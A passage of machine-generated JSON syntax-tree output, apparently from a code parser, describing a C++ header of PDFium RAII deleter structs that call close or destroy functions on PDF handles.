"type": "field_declaration", "text": "inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page);", "parent": 177, "children": [181, 183, 184, 193], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 64}}, {"id": 181, "type": "storage_class_specifier", "text": "inline", "parent": 180, "children": [182], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 8}}, {"id": 182, "type": "inline", "text": "inline", "parent": 181, "children": [], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 8}}, {"id": 183, "type": "primitive_type", "text": "void", "parent": 180, "children": [], "start_point": {"row": 51, "column": 9}, "end_point": {"row": 51, "column": 13}}, {"id": 184, "type": "ERROR", "text": "operator()(FPDF_PAGE page) {", "parent": 180, "children": [185], "start_point": {"row": 51, "column": 14}, "end_point": {"row": 51, "column": 42}}, {"id": 185, "type": "function_declarator", "text": "operator()(FPDF_PAGE page)", "parent": 184, "children": [186, 189], "start_point": {"row": 51, "column": 14}, "end_point": {"row": 51, "column": 40}}, {"id": 186, "type": "function_declarator", "text": "operator()", "parent": 185, "children": [187, 188], "start_point": {"row": 51, "column": 14}, "end_point": {"row": 51, "column": 24}}, {"id": 187, "type": "field_identifier", "text": "operator", "parent": 186, "children": [], "start_point": {"row": 51, "column": 14}, "end_point": {"row": 51, "column": 22}}, {"id": 188, "type": "parameter_list", "text": "()", "parent": 186, "children": [], "start_point": {"row": 51, "column": 22}, "end_point": {"row": 51, "column": 24}}, {"id": 189, "type": "parameter_list", "text": "(FPDF_PAGE page)", "parent": 185, "children": [190], "start_point": {"row": 51, "column": 24}, "end_point": {"row": 51, "column": 40}}, {"id": 190, "type": "parameter_declaration", "text": "FPDF_PAGE page", "parent": 189, "children": [191, 192], "start_point": {"row": 51, "column": 25}, "end_point": {"row": 51, "column": 39}}, {"id": 191, "type": "type_identifier", "text": "FPDF_PAGE", "parent": 190, "children": [], "start_point": {"row": 51, "column": 25}, "end_point": {"row": 51, "column": 34}}, {"id": 192, "type": "identifier", "text": "page", "parent": 190, "children": [], "start_point": {"row": 51, "column": 35}, "end_point": {"row": 51, "column": 39}}, {"id": 193, "type": "function_declarator", "text": "FPDF_ClosePage(page)", "parent": 180, "children": [194, 195], "start_point": {"row": 51, "column": 43}, "end_point": {"row": 51, "column": 63}}, {"id": 194, "type": "field_identifier", "text": "FPDF_ClosePage", "parent": 193, "children": [], "start_point": {"row": 51, "column": 43}, "end_point": {"row": 51, "column": 57}}, {"id": 195, "type": "parameter_list", "text": "(page)", "parent": 193, "children": [196], "start_point": {"row": 51, "column": 57}, "end_point": {"row": 51, "column": 63}}, {"id": 196, "type": "parameter_declaration", "text": "page", "parent": 195, "children": [197], "start_point": {"row": 51, "column": 58}, "end_point": {"row": 51, "column": 62}}, {"id": 197, "type": "type_identifier", "text": "page", "parent": 196, "children": [], "start_point": {"row": 51, "column": 58}, "end_point": {"row": 51, "column": 62}}, {"id": 198, "type": "struct_specifier", "text": "struct FPDFPageLinkDeleter {\n inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);\n }", "parent": 0, "children": [199, 200], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 57, "column": 3}}, {"id": 199, "type": "struct", "text": "struct", "parent": 198, "children": [], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 54, "column": 6}}, {"id": 200, "type": "type_identifier", "text": "FPDFPageLinkDeleter", "parent": 198, "children": [], "start_point": {"row": 54, "column": 7}, "end_point": {"row": 54, "column": 26}}, {"id": 201, "type": "field_declaration", "text": "inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWebLinks(pagelink);", "parent": 198, "children": [202, 204, 205, 214], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 56, "column": 37}}, {"id": 202, "type": "storage_class_specifier", "text": "inline", "parent": 201, "children": [203], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 8}}, {"id": 203, "type": "inline", "text": "inline", "parent": 202, "children": [], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 8}}, {"id": 204, "type": "primitive_type", "text": "void", "parent": 201, "children": [], "start_point": {"row": 55, "column": 9}, "end_point": {"row": 55, "column": 13}}, {"id": 205, "type": "ERROR", "text": "operator()(FPDF_PAGELINK pagelink) {", "parent": 201, "children": [206], "start_point": {"row": 55, "column": 14}, "end_point": {"row": 55, "column": 50}}, {"id": 206, "type": "function_declarator", "text": "operator()(FPDF_PAGELINK pagelink)", "parent": 205, "children": [207, 210], "start_point": {"row": 55, "column": 14}, "end_point": {"row": 55, "column": 48}}, {"id": 207, "type": "function_declarator", "text": "operator()", "parent": 206, "children": [208, 209], "start_point": {"row": 55, "column": 14}, "end_point": {"row": 55, "column": 24}}, {"id": 208, "type": "field_identifier", "text": "operator", "parent": 207, "children": [], "start_point": {"row": 55, "column": 14}, "end_point": {"row": 55, "column": 22}}, {"id": 209, "type": "parameter_list", "text": "()", "parent": 207, "children": [], "start_point": {"row": 55, "column": 22}, "end_point": {"row": 55, "column": 24}}, {"id": 210, "type": "parameter_list", "text": "(FPDF_PAGELINK pagelink)", "parent": 206, "children": [211], "start_point": {"row": 55, "column": 24}, "end_point": {"row": 55, "column": 48}}, {"id": 211, "type": "parameter_declaration", "text": "FPDF_PAGELINK pagelink", "parent": 210, "children": [212, 213], "start_point": {"row": 55, "column": 25}, "end_point": {"row": 55, "column": 47}}, {"id": 212, "type": "type_identifier", "text": "FPDF_PAGELINK", "parent": 211, "children": [], "start_point": {"row": 55, "column": 25}, "end_point": {"row": 55, "column": 38}}, {"id": 213, "type": "identifier", "text": "pagelink", "parent": 211, "children": [], "start_point": {"row": 55, "column": 39}, "end_point": {"row": 55, "column": 47}}, {"id": 214, "type": "function_declarator", "text": "FPDFLink_CloseWebLinks(pagelink)", "parent": 201, "children": [215, 216], "start_point": {"row": 56, "column": 4}, "end_point": {"row": 56, "column": 36}}, {"id": 215, "type": "field_identifier", "text": "FPDFLink_CloseWebLinks", "parent": 214, "children": [], "start_point": {"row": 56, "column": 4}, "end_point": {"row": 56, "column": 26}}, {"id": 216, "type": "parameter_list", "text": "(pagelink)", "parent": 214, "children": [217], "start_point": {"row": 56, "column": 26}, "end_point": {"row": 56, "column": 36}}, {"id": 217, "type": "parameter_declaration", "text": "pagelink", "parent": 216, "children": [218], "start_point": {"row": 56, "column": 27}, "end_point": {"row": 56, "column": 35}}, {"id": 218, "type": "type_identifier", "text": "pagelink", "parent": 217, "children": [], "start_point": {"row": 56, "column": 27}, "end_point": {"row": 56, "column": 35}}, {"id": 219, "type": "struct_specifier", "text": "struct FPDFPageObjectDeleter {\n inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);\n }", "parent": 0, "children": [220, 221], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 63, "column": 3}}, {"id": 220, "type": "struct", "text": "struct", "parent": 219, "children": [], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 60, "column": 6}}, {"id": 221, "type": "type_identifier", "text": "FPDFPageObjectDeleter", "parent": 219, "children": [], "start_point": {"row": 60, "column": 7}, "end_point": {"row": 60, "column": 28}}, {"id": 222, "type": "field_declaration", "text": "inline void operator()(FPDF_PAGEOBJECT object) {\n FPDFPageObj_Destroy(object);", "parent": 219, "children": [223, 225, 226, 235], "start_point": {"row": 61, "column": 2}, "end_point": {"row": 62, "column": 32}}, {"id": 223, "type": "storage_class_specifier", "text": "inline", "parent": 222, "children": [224], "start_point": {"row": 61, "column": 2}, "end_point": {"row": 61, "column": 8}}, {"id": 224, "type": "inline", "text": "inline", "parent": 223, "children": [], "start_point": {"row": 61, "column": 2}, "end_point": {"row": 61, "column": 8}}, {"id": 225, "type": "primitive_type", "text": "void", "parent": 222, "children": [], "start_point": {"row": 61, "column": 9}, "end_point": {"row": 61, "column": 13}}, {"id": 226, "type": "ERROR", "text": "operator()(FPDF_PAGEOBJECT object) {", "parent": 222, "children": [227], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 50}}, {"id": 227, "type": "function_declarator", "text": "operator()(FPDF_PAGEOBJECT object)", "parent": 226, "children": [228, 231], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 48}}, {"id": 228, "type": "function_declarator", "text": "operator()", "parent": 227, "children": [229, 230], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 24}}, {"id": 229, "type": "field_identifier", "text": "operator", "parent": 228, "children": [], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 22}}, {"id": 230, "type": "parameter_list", "text": "()", "parent": 228, "children": [], "start_point": {"row": 61, "column": 22}, "end_point": {"row": 61, "column": 24}}, {"id": 231, "type": "parameter_list", "text": "(FPDF_PAGEOBJECT object)", "parent": 227, "children": [232], "start_point": {"row": 61, "column": 24}, "end_point": {"row": 61, "column": 48}}, {"id": 232, "type": "parameter_declaration", "text": "FPDF_PAGEOBJECT object", "parent": 231, "children": [233, 234], "start_point": {"row": 61, "column": 25}, "end_point": {"row": 61, "column": 47}}, {"id": 233, "type": "type_identifier", "text": "FPDF_PAGEOBJECT", "parent": 232, "children": [], "start_point": {"row": 61, "column": 25}, "end_point": {"row": 61, "column": 40}}, {"id": 234, "type": "identifier", "text": "object", "parent": 232, "children": [], "start_point": {"row": 61, "column": 41}, "end_point": {"row": 61, "column": 47}}, {"id": 235, "type": "function_declarator", "text": "FPDFPageObj_Destroy(object)", "parent": 222, "children": [236, 237], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 62, "column": 31}}, {"id": 236, "type": "field_identifier", "text": "FPDFPageObj_Destroy", "parent": 235, "children": [], "start_point": {"row": 62, "column": 4}, "end_point": {"row": 62, "column": 23}}, {"id": 237, "type": "parameter_list", "text": "(object)", "parent": 235, "children": [238], "start_point": {"row": 62, "column": 23}, "end_point": {"row": 62, "column": 31}}, {"id": 238, "type": "parameter_declaration", "text": "object", "parent": 237, "children": [239], "start_point": {"row": 62, "column": 24}, "end_point": {"row": 62, "column": 30}}, {"id": 239, "type": "type_identifier", "text": "object", "parent": 238, "children": [], "start_point": {"row": 62, "column": 24}, "end_point": {"row": 62, "column": 30}}, {"id": 240, "type": "struct_specifier", "text": "struct FPDFStructTreeDeleter {\n inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree); }", "parent": 0, "children": [241, 242], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 67, "column": 79}}, {"id": 241, "type": "struct", "text": "struct", "parent": 240, "children": [], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 66, "column": 6}}, {"id": 242, "type": "type_identifier", "text": "FPDFStructTreeDeleter", "parent": 240, "children": [], "start_point": {"row": 66, "column": 7}, "end_point": {"row": 66, "column": 28}}, {"id": 243, "type": "field_declaration", "text": "inline void operator()(FPDF_STRUCTTREE tree) { FPDF_StructTree_Close(tree);", "parent": 240, "children": [244, 246, 247, 256], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 77}}, {"id": 244, "type": "storage_class_specifier", "text": "inline", "parent": 243, "children": [245], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 8}}, {"id": 245, "type": "inline", "text": "inline", "parent": 244, "children": [], "start_point": {"row": 67, "column": 2}, "end_point": {"row": 67, "column": 8}}, {"id": 246, "type": "primitive_type", "text": "void", "parent": 243, "children": [], "start_point": {"row": 67, "column": 9}, "end_point": {"row": 67, "column": 13}}, {"id": 247, "type": "ERROR", "text": "operator()(FPDF_STRUCTTREE tree) {", "parent": 243, "children": [248], "start_point": {"row": 67, "column": 14}, "end_point": {"row": 67, "column": 48}}, {"id": 248, "type": "function_declarator", "text": "operator()(FPDF_STRUCTTREE tree)", "parent": 247, "children": [249, 252], "start_point": {"row": 67, "column": 14}, "end_point": {"row": 67, "column": 46}}, {"id": 249, "type": "function_declarator", "text": "operator()", "parent": 248, "children": [250, 251], "start_point": {"row": 67, "column": 14}, "end_point": {"row": 67, "column": 24}}, {"id": 250, "type": "field_identifier", "text": "operator", "parent": 249, "children": [], "start_point": {"row": 67, "column": 14}, "end_point": {"row": 67, "column": 22}}, {"id": 251, "type": "parameter_list", "text": "()", "parent": 249, "children": [], "start_point": {"row": 67, "column": 22}, "end_point": {"row": 67, "column": 24}}, {"id": 252, "type": "parameter_list", "text": "(FPDF_STRUCTTREE tree)", "parent": 248, "children": [253], "start_point": {"row": 67, "column": 24}, "end_point": {"row": 67, "column": 46}}, {"id": 253, "type": "parameter_declaration", "text": "FPDF_STRUCTTREE tree", "parent": 252, "children": [254, 255], "start_point": {"row": 67, "column": 25}, "end_point": {"row": 67, "column": 45}}, {"id": 254, "type": "type_identifier", "text": "FPDF_STRUCTTREE", "parent": 253, "children": [], "start_point": {"row": 67, "column": 25}, "end_point": {"row": 67, "column": 40}}, {"id": 255, "type": "identifier", "text": "tree", "parent": 253, "children": [], "start_point": {"row": 67, "column": 41}, "end_point": {"row": 67, "column": 45}}, {"id": 256, "type": "function_declarator", "text": "FPDF_StructTree_Close(tree)", "parent": 243, "children": [257, 258], "start_point": {"row": 67, "column": 49}, "end_point": {"row": 67, "column": 76}}, {"id": 257, "type": "field_identifier", "text": "FPDF_StructTree_Close", "parent": 256, "children": [], "start_point": {"row": 67, "column": 49}, "end_point": {"row": 67, "column": 70}}, {"id": 258, "type": "parameter_list", "text": "(tree)", "parent": 256, "children": [259], "start_point": {"row": 67, "column": 70}, "end_point": {"row": 67, "column": 76}}, {"id": 259, "type": "parameter_declaration", "text": "tree", "parent": 258, "children": [260], "start_point": {"row": 67, "column": 71}, "end_point": {"row": 67, "column": 75}}, {"id": 260, "type": "type_identifier", "text": "tree", "parent": 259, "children": [], "start_point": {"row": 67, "column": 71}, "end_point": {"row": 67, "column": 75}}, {"id": 261, "type": "struct_specifier", "text": "struct FPDFTextFindDeleter {\n inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle); }", "parent": 0, "children": [262, 263], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 71, "column": 79}}, {"id": 262, "type": "struct", "text": "struct", "parent": 261, "children": [], "start_point": {"row": 70, "column": 0}, "end_point": {"row": 70, "column": 6}}, {"id": 263, "type": "type_identifier", "text": "FPDFTextFindDeleter", "parent": 261, "children": [], "start_point": {"row": 70, "column": 7}, "end_point": {"row": 70, "column": 26}}, {"id": 264, "type": "field_declaration", "text": "inline void operator()(FPDF_SCHHANDLE handle) { FPDFText_FindClose(handle);", "parent": 261, "children": [265, 267, 268, 277], "start_point": {"row": 71, "column": 2}, "end_point": {"row": 71, "column": 77}}, {"id": 265, "type": "storage_class_specifier", "text": "inline", "parent": 264, "children": [266], "start_point": {"row": 71, "column": 2}, "end_point": {"row": 71, "column": 8}}, {"id": 266, "type": "inline", "text": "inline", "parent": 265, "children": [], "start_point": {"row": 71, "column": 2}, "end_point": {"row": 71, "column": 8}}, {"id": 267, "type": "primitive_type", "text": "void", "parent": 264, "children": [], "start_point": {"row": 71, "column": 9}, "end_point": {"row": 71, "column": 13}}, {"id": 268, "type": "ERROR", "text": "operator()(FPDF_SCHHANDLE handle) {", "parent": 264, "children": [269], "start_point": {"row": 71, "column": 14}, "end_point": {"row": 71, "column": 49}}, {"id": 269, "type": "function_declarator", "text": "operator()(FPDF_SCHHANDLE handle)", "parent": 268, "children": [270, 273], "start_point": {"row": 71, "column": 14}, "end_point": {"row": 71, "column": 47}}, {"id": 270, "type": "function_declarator", "text": "operator()", "parent": 269, "children": [271, 272], "start_point": {"row": 71, "column": 14}, "end_point": {"row": 71, "column": 24}}, {"id": 271, "type": "field_identifier", "text": "operator", "parent": 270, "children": [], "start_point": {"row": 71, "column": 14}, "end_point": {"row": 71, "column": 22}}, {"id": 272, "type": "parameter_list", "text": "()", "parent": 270, "children": [], "start_point": {"row": 71, "column": 22}, "end_point": {"row": 71, "column": 24}}, {"id": 273, "type": "parameter_list", "text": "(FPDF_SCHHANDLE handle)", "parent": 269, "children": [274], "start_point": {"row": 71, "column": 24}, "end_point": {"row": 71, "column": 47}}, {"id": 274, "type": "parameter_declaration", "text": "FPDF_SCHHANDLE handle", "parent": 273, "children": [275, 276], "start_point": {"row": 71, "column": 25}, "end_point": {"row": 71, "column": 46}}, {"id": 275, "type": "type_identifier", "text": "FPDF_SCHHANDLE", "parent": 274, "children": [], "start_point": {"row": 71, "column": 25}, "end_point": {"row": 71, "column": 39}}, {"id": 276, "type": "identifier", "text": "handle", "parent": 274, "children": [], "start_point": {"row": 71, "column": 40}, "end_point": {"row": 71, "column": 46}}, {"id": 277, "type": "function_declarator", "text": "FPDFText_FindClose(handle)", "parent": 264, "children": [278, 279], "start_point": {"row": 71, "column": 50}, "end_point": {"row": 71, "column": 76}}, {"id": 278, "type": "field_identifier", "text": "FPDFText_FindClose", "parent": 277, "children": [], "start_point": {"row": 71, "column": 50}, "end_point": {"row": 71, "column": 68}}, {"id": 279, "type": "parameter_list", "text": "(handle)", "parent": 277, "children": [280], "start_point": {"row": 71, "column": 68}, "end_point": {"row": 71, "column": 76}}, {"id": 280, "type": "parameter_declaration", "text": "handle", "parent": 279, "children": [281], "start_point": {"row": 71, "column": 69}, "end_point": {"row": 71, "column": 75}}, {"id": 281, "type": "type_identifier", "text": "handle", "parent": 280, "children": [], "start_point": {"row": 71, "column": 69}, "end_point": {"row": 71, "column": 75}}, {"id": 282, "type": "struct_specifier", "text": "struct FPDFTextPageDeleter {\n inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text); }", "parent": 0, "children": [283, 284], "start_point": {"row": 74, "column": 0}, "end_point": {"row": 75, "column": 74}}, {"id": 283, "type": "struct", "text": "struct", "parent": 282, "children": [], "start_point": {"row": 74, "column": 0}, "end_point": {"row": 74, "column": 6}}, {"id": 284, "type": "type_identifier", "text": "FPDFTextPageDeleter", "parent": 282, "children": [], "start_point": {"row": 74, "column": 7}, "end_point": {"row": 74, "column": 26}}, {"id": 285, "type": "field_declaration", "text": "inline void operator()(FPDF_TEXTPAGE text) { FPDFText_ClosePage(text);", "parent": 282, "children": [286, 288, 289, 298], "start_point": {"row": 75, "column": 2}, "end_point": {"row": 75, "column": 72}}, {"id": 286, "type": "storage_class_specifier", "text": "inline", "parent": 285, "children": [287], "start_point": {"row": 75, "column": 2}, "end_point": {"row": 75, "column": 8}}, {"id": 287, "type": "inline", "text": "inline", "parent": 286, "children": [], "start_point": {"row": 75, "column": 2}, "end_point": {"row": 75, "column": 8}}, {"id": 288, "type": "primitive_type", "text": "void", "parent": 285, "children": [], "start_point": {"row": 75, "column": 9}, "end_point": {"row": 75, "column": 13}}, {"id": 289, "type": "ERROR", "text": "operator()(FPDF_TEXTPAGE text) {", "parent": 285, "children": [290], "start_point": {"row": 75, "column": 14}, "end_point": {"row": 75, "column": 46}}, {"id": 290, "type": "function_declarator", "text": "operator()(FPDF_TEXTPAGE text)", "parent": 289, "children": [291, 294], "start_point": {"row": 75, "column": 14}, "end_point": {"row": 75, "column": 44}}, {"id": 291, "type": "function_declarator", "text": "operator()", "parent": 290, "children": [292, 293], "start_point": {"row": 75, "column": 14}, "end_point": {"row": 75, "column": 24}}, {"id": 292, "type": "field_identifier", "text": "operator", "parent": 291, "children": [], "start_point": {"row": 75, "column": 14}, "end_point": {"row": 75, "column": 22}}, {"id": 293, "type": "parameter_list", "text": "()", "parent": 291, "children": [], "start_point": {"row": 75, "column": 22}, "end_point": {"row": 75, "column": 24}}, {"id": 294, "type": "parameter_list", "text": "(FPDF_TEXTPAGE text)", "parent": 290, "children": [295], "start_point": {"row": 75, "column": 24}, "end_point": {"row": 75, "column": 44}}, {"id": 295, "type": "parameter_declaration", "text": "FPDF_TEXTPAGE text", "parent": 294, "children": [296, 297], "start_point": {"row": 75, "column": 25}, "end_point": {"row": 75, "column": 43}}, {"id": 296, "type": "type_identifier", "text": "FPDF_TEXTPAGE", "parent": 295, "children": [], "start_point": {"row": 75, "column": 25}, "end_point": {"row": 75, "column": 38}}, {"id": 297, "type": "identifier", "text": "text", "parent": 295, "children": [], "start_point": {"row": 75, "column": 39}, "end_point": {"row": 75, "column": 43}}, {"id": 298, "type": "function_declarator", "text": "FPDFText_ClosePage(text)", "parent": 285, "children": [299, 300], "start_point": {"row": 75, "column": 47}, "end_point": {"row": 75, "column": 71}}, {"id": 299, "type": "field_identifier", "text": "FPDFText_ClosePage", "parent": 298, "children": [], "start_point": {"row": 75, "column": 47}, "end_point": {"row": 75, "column": 65}}, {"id": 300, "type": "parameter_list", "text": "(text)", "parent": 298, "children": [301], "start_point": {"row": 75, "column": 65}, "end_point": {"row": 75, "column": 71}}, {"id": 301, "type": "parameter_declaration", "text": "text", "parent": 300, "children": [302], "start_point": {"row": 75, "column": 66}, "end_point": {"row": 75, "column": 70}}, {"id": 302, "type": "type_identifier", "text": "text", "parent": 301, "children": [], "start_point": {"row": 75, "column": 66}, "end_point": {"row": 75, "column": 70}}, {"id": 303, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 78, "column": 6}}]}, "node_categories": {"declarations": {"functions": [38, 39, 46, 59, 60, 67, 80, 81, 88, 101, 102, 109, 122, 123, 130, 143, 144, 151, 164, 165, 172, 185, 186, 193, 206, 207, 214, 227, 228, 235, 248, 249, 256, 269, 270, 277, 290, 291, 298], "variables": [33, 43, 49, 54, 64, 70, 75, 85, 91, 96, 106, 112, 117, 127, 133, 138, 148, 154, 159, 169, 175, 180, 190, 196, 201, 211, 217, 222, 232, 238, 243, 253, 259, 264, 274, 280, 285, 295, 301], "classes": [30, 31, 34, 51, 52, 55, 72, 73, 76, 93, 94, 97, 114, 115, 118, 135, 136, 139, 156, 157, 160, 177, 178, 181, 198, 199, 202, 219, 220, 223, 240, 241, 244, 261, 262, 265, 282, 283, 286], "imports": [6, 7, 9, 10, 12, 13, 15, 16, 18, 19, 21, 22, 24, 25, 27, 28], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 32, 40, 44, 45, 47, 50, 53, 61, 65, 66, 68, 71, 74, 82, 86, 87, 89, 92, 95, 103, 107, 108, 110, 113, 116, 124, 128, 129, 131, 134, 137, 145, 149, 150, 152, 155, 158, 166, 170, 171, 173, 176, 179, 187, 191, 192, 194, 197, 200, 208, 212, 213, 215, 218, 221, 229, 233, 234, 236, 239, 242, 250, 254, 255, 257, 260, 263, 271, 275, 276, 278, 281, 284, 292, 296, 297, 299, 302, 303], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14, 17, 20, 23, 26, 29], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 38, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_ANNOTATION annot)"}, {"node_id": 39, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 46, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFPage_CloseAnnot(annot)"}, {"node_id": 59, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_AVAIL avail)"}, {"node_id": 60, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 67, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFAvail_Destroy(avail)"}, {"node_id": 80, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_BITMAP bitmap)"}, {"node_id": 81, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 88, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFBitmap_Destroy(bitmap)"}, {"node_id": 101, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_CLIPPATH clip_path)"}, {"node_id": 102, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 109, "universal_type": "function", "name": "unknown", "text_snippet": "FPDF_DestroyClipPath(clip_path)"}, {"node_id": 122, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_DOCUMENT doc)"}, {"node_id": 123, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 130, "universal_type": "function", "name": "unknown", "text_snippet": "FPDF_CloseDocument(doc)"}, {"node_id": 143, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_FONT font)"}, {"node_id": 144, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 151, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFFont_Close(font)"}, {"node_id": 164, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_FORMHANDLE form)"}, {"node_id": 165, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 172, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFDOC_ExitFormFillEnvironment(form)"}, {"node_id": 185, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_PAGE page)"}, {"node_id": 186, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 193, "universal_type": "function", "name": "unknown", "text_snippet": "FPDF_ClosePage(page)"}, {"node_id": 206, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_PAGELINK pagelink)"}, {"node_id": 207, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 214, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFLink_CloseWebLinks(pagelink)"}, {"node_id": 227, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_PAGEOBJECT object)"}, {"node_id": 228, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 235, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFPageObj_Destroy(object)"}, {"node_id": 248, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_STRUCTTREE tree)"}, {"node_id": 249, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 256, "universal_type": "function", "name": "unknown", "text_snippet": "FPDF_StructTree_Close(tree)"}, {"node_id": 269, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_SCHHANDLE handle)"}, {"node_id": 270, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 277, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFText_FindClose(handle)"}, {"node_id": 290, "universal_type": "function", "name": "unknown", "text_snippet": "operator()(FPDF_TEXTPAGE text)"}, {"node_id": 291, "universal_type": "function", "name": "unknown", "text_snippet": "operator()"}, {"node_id": 298, "universal_type": "function", "name": "unknown", "text_snippet": "FPDFText_ClosePage(text)"}], "class_declarations": [{"node_id": 30, "universal_type": "class", "name": "FPDFAnnotationDeleter", "text_snippet": "struct FPDFAnnotationDeleter {\n inline void operator()(FPDF_ANNOTATION annot) { FPDFPage_CloseAnnot"}, {"node_id": 31, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 34, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 51, "universal_type": "class", "name": "FPDFAvailDeleter", "text_snippet": "struct FPDFAvailDeleter {\n inline void operator()(FPDF_AVAIL avail) { FPDFAvail_Destroy(avail); }"}, {"node_id": 52, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 55, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 72, "universal_type": "class", "name": "FPDFBitmapDeleter", "text_snippet": "struct FPDFBitmapDeleter {\n inline void operator()(FPDF_BITMAP bitmap) { FPDFBitmap_Destroy(bitmap)"}, {"node_id": 73, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 76, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 93, "universal_type": "class", "name": "FPDFClipPathDeleter", "text_snippet": "struct FPDFClipPathDeleter {\n inline void operator()(FPDF_CLIPPATH clip_path) {\n FPDF_DestroyCli"}, {"node_id": 94, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 97, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 114, "universal_type": "class", "name": "FPDFDocumentDeleter", "text_snippet": "struct FPDFDocumentDeleter {\n inline void operator()(FPDF_DOCUMENT doc) { FPDF_CloseDocument(doc); "}, {"node_id": 115, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 118, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 135, "universal_type": "class", "name": "FPDFFontDeleter", "text_snippet": "struct FPDFFontDeleter {\n inline void operator()(FPDF_FONT font) { FPDFFont_Close(font); }"}, {"node_id": 136, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 139, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 156, "universal_type": "class", "name": "FPDFFormHandleDeleter", "text_snippet": "struct FPDFFormHandleDeleter {\n inline void operator()(FPDF_FORMHANDLE form) {\n FPDFDOC_ExitForm"}, {"node_id": 157, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 160, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 177, "universal_type": "class", "name": "FPDFPageDeleter", "text_snippet": "struct FPDFPageDeleter {\n inline void operator()(FPDF_PAGE page) { FPDF_ClosePage(page); }"}, {"node_id": 178, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 181, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 198, "universal_type": "class", "name": "FPDFPageLinkDeleter", "text_snippet": "struct FPDFPageLinkDeleter {\n inline void operator()(FPDF_PAGELINK pagelink) {\n FPDFLink_CloseWe"}, {"node_id": 199, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 202, "universal_type": "class", "name": "unknown", 